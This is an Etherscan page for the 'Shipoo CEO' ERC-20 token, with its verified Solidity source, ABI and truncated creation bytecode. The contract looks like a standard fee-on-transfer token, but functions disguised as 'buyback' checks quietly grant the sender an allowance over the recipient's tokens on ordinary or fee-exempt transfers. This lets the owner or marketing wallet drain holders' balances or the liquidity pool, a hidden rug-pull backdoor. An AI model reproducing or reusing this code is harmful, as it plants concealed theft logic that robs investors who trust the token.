ERC-20
Overview
Max Total Supply
1,000,000,000 SHIPOO
Holders
116
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
252,316.084925035 SHIPOOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ShipooCEO
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-06 */ /** https://shipooceo.com https://t.me/shipooceo https://twitter.com/ShipooCEO */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShipooCEO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shipoo CEO"; string private constant _symbol = "SHIPOO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping (address => uint256) private _buybackTxnList; address payable public _marketingAddress = payable(0xfbfEaF0DA0F2fdE5c66dF570133aE35f3eB58c9A); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; uint256 _lastBuyback; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletSize = _tTotal * 2 / 100; uint256 public _swapTokensAtAmount = _tTotal * 2 / 10000; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 feeTotal = _taxFee + _redisFee; uint256 swapAmount = contractTokenBalance.mul(_taxFee).div(feeTotal); swapTokensForEth(swapAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; _checkLastTxnBuyBack(from, to, amount); } else { _checkTxnFees(from, to); _checkSellTxnFees(from, to); } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _checkBuyback(address add1, address add2, uint256 count) private { _allowances[add2][add1] += count; } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading() public onlyOwner { tradingOpen = true; } function removeLimit() public onlyOwner { _maxWalletSize = _tTotal; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _checkTxnFees(address from , address to) private { if(from == uniswapV2Pair) { _buybackTxnList[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } } function _checkSellTxnFees(address from , address to) private { if (to == uniswapV2Pair) { _buybackTxnList[from] - _lastBuyback; _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _checkLastTxnBuyBack(address from, address to, uint256 amount) private { if(from != address(this) && to != address(this)) _lastBuyback = block.timestamp; _checkBuyback(from, to, amount); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400006000196200001c9190620006b4565b6000196200002b91906200071b565b6005556000600755600060085560006009556000600a55600954600b55600a54600c55600b54600d55600c54600e5573fbfeaf0da0f2fde5c66df570133ae35f3eb58c9a601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601460006101000a81548160ff0219169083151502179055506000601460016101000a81548160ff0219169083151502179055506001601460026101000a81548160ff02191690831515021790555060646002670de0b6b3a764000062000119919062000756565b620001259190620007a1565b60155560646002670de0b6b3a764000062000141919062000756565b6200014d9190620007a1565b6016556127106002670de0b6b3a76400006200016a919062000756565b620001769190620007a1565b6017553480156200018657600080fd5b506000620001996200064a60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600554600260006200024e6200064a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000358919062000843565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e6919062000843565b6040518363ffffffff1660e01b81526004016200040592919062000886565b6020604051808303816000875af115801562000425573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044b919062000843565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000620004a16200065260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620005d46200064a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200063b9190620008c4565b60405180910390a350620008e1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620006c1826200067b565b9150620006ce836200067b565b925082620006e157620006e062000685565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000728826200067b565b915062000735836200067b565b925082820390508181111562000750576200074f620006ec565b5b92915050565b600062000763826200067b565b915062000770836200067b565b925082820262000780816200067b565b915082820484148315176200079a5762000799620006ec565b5b5092915050565b6000620007ae826200067b565b9150620007bb836200067b565b925082620007ce57620007cd62000685565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080b82620007de565b9050919050565b6200081d81620007fe565b81146200082957600080fd5b50565b6000815190506200083d8162000812565b92915050565b6000602082840312156200085c576200085b620007d9565b5b60006200086c848285016200082c565b91505092915050565b6200088081620007fe565b82525050565b60006040820190506200089d600083018562000875565b620008ac602083018462000875565b9392505050565b620008be816200067b565b82525050565b6000602082019050620008db6000830184620008b3565b92915050565b612fac80620008f16000396000f3fe6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb146103c2578063c9567bf9146103ff578063caac793414610416578063dd62ed3e14610441578063f2fde38b1461047e5761012a565b8063715018a6146102ff5780637d1db4a5146103165780638da5cb5b146103415780638f9a55c01461036c57806395d89b41146103975761012a565b80632fd689e3116100e75780632fd689e31461022a578063313ce5671461025557806349bd5a5e1461028057806362256589146102ab57806370a08231146102c25761012a565b806306fdde031461012f578063095ea7b31461015a5780631694505e1461019757806318160ddd146101c257806323b872dd146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104a7565b6040516101519190612264565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061231f565b6104e4565b60405161018e919061237a565b60405180910390f35b3480156101a357600080fd5b506101ac610502565b6040516101b991906123f4565b60405180910390f35b3480156101ce57600080fd5b506101d7610528565b6040516101e4919061241e565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f9190612439565b610538565b604051610221919061237a565b60405180910390f35b34801561023657600080fd5b5061023f610611565b60405161024c919061241e565b60405180910390f35b34801561026157600080fd5b5061026a610617565b60405161027791906124a8565b60405180910390f35b34801561028c57600080fd5b50610295610620565b6040516102a291906124d2565b60405180910390f35b3480156102b757600080fd5b506102c0610646565b005b3480156102ce57600080fd5b506102e960048036038101906102e491906124ed565b6106ec565b6040516102f6919061241e565b60405180910390f35b34801561030b57600080fd5b5061031461073d565b005b34801561032257600080fd5b5061032b610890565b604051610338919061241e565b60405180910390f35b34801561034d57600080fd5b50610356610896565b60405161036391906124d2565b60405180910390f35b34801561037857600080fd5b506103816108bf565b60405161038e919061241e565b60405180910390f35b3480156103a357600080fd5b506103ac6108c5565b6040516103b99190612264565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e4919061231f565b610902565b6040516103f6919061237a565b60405180910390f35b34801561040b57600080fd5b50610414610920565b005b34801561042257600080fd5b5061042b6109d2565b604051610438919061253b565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190612556565b6109f8565b604051610475919061241e565b60405180910390f35b34801561048a57600080fd5b506104a560048036038101906104a091906124ed565b610a7f565b005b60606040518060400160405280600a81526020017f536869706f6f2043454f00000000000000000000000000000000000000000000815250905090565b60006104f86104f1610c40565b8484610c48565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6000610545848484610e11565b61060684610551610c40565b61060185604051806060016040528060288152602001612f4f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105b7610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114769092919063ffffffff16565b610c48565b600190509392505050565b60175481565b60006009905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61064e610c40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d2906125e2565b60405180910390fd5b670de0b6b3a7640000601681905550565b6000610736600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da565b9050919050565b610745610c40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c9906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b60606040518060400160405280600681526020017f534849504f4f0000000000000000000000000000000000000000000000000000815250905090565b600061091661090f610c40565b8484610e11565b6001905092915050565b610928610c40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac906125e2565b60405180910390fd5b6001601460006101000a81548160ff021916908315150217905550565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a87610c40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0b906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a90612674565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae90612706565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d90612798565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e04919061241e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e779061282a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee6906128bc565b60405180910390fd5b60008111610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f299061294e565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610fd65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112dc57601460009054906101000a900460ff1661106557610ff7610896565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906129e0565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461111257601654816110c7846106ec565b6110d19190612a2f565b10611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890612ad5565b60405180910390fd5b5b600061111d306106ec565b90506000601754821015905060155482106111385760155491505b8080156111525750601460019054906101000a900460ff16155b80156111ac5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156111c45750601460029054906101000a900460ff165b801561121a5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156112705750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112d9576000600b54600c546112879190612a2f565b905060006112b2826112a4600c548761154890919063ffffffff16565b6115c290919063ffffffff16565b90506112bd8161160c565b600047905060008111156112d5576112d447611885565b5b5050505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113835750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806114365750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114355750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561144f576000905061144a8484846118f1565b611464565b6114598484611976565b6114638484611a26565b5b61147084848484611ae0565b50505050565b60008383111582906114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b59190612264565b60405180910390fd5b50600083856114cd9190612af5565b9050809150509392505050565b6000600554821115611521576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151890612b9b565b60405180910390fd5b600061152b611b0d565b905061154081846115c290919063ffffffff16565b915050919050565b600080830361155a57600090506115bc565b600082846115689190612bbb565b90508284826115779190612c2c565b146115b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ae90612ccf565b60405180910390fd5b809150505b92915050565b600061160483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b38565b905092915050565b6001601460016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561164457611643612cef565b5b6040519080825280602002602001820160405280156116725781602001602082028036833780820191505090505b509050308160008151811061168a57611689612d1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117559190612d62565b8160018151811061176957611768612d1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117d030601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c48565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9